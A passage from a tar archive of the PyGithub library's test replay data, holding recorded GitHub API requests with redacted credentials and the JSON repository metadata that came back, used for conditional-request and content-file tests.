"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt0000755000175100001660000000163114756101563027125 0ustar00runnerdockerhttps GET api.github.com None /repos/akfish/PyGithub {'If-None-Match': '"8600bedcb7fed1d8065e1693e05529ce"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 22 Aug 2013 02:09:11 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4988'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"8600bedcb7fed1d8065e1693e05529ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:10 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1377140429')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt0000644000175100001660000003470614756101563026452 0ustar00runnerdockerhttps GET api.github.com None /repos/akfish/PyGithub {'If-None-Match': '"8600bedcb7fed1d8065e1693e05529ce"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 22 Aug 2013 02:09:11 GMT'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13712'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:14:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ef281ef0e821c18f80da36902727160b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:15:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] {"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3 - AKFish Fork","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:14:54Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt0000644000175100001660000000604114756101563031334 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4911'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('date', 'Sun, 27 May 2012 07:17:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-27T06:55:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T06:00:28Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4911'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('date', 'Sun, 27 May 2012 07:17:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-27T06:55:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T06:00:28Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ContentFile.setUp.txt0000644000175100001660000003460414756101563022237 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 08 Jan 2025 09:15:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"481c10ad1bdafbd0064dd02c79e34c7022a1ed0217936c6eb970d34414b22fbc"'), ('Last-Modified', 'Tue, 07 Jan 2025 18:29:39 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1736330143'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '98C2:CF326:439DFC:44E4D6:677E4221')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 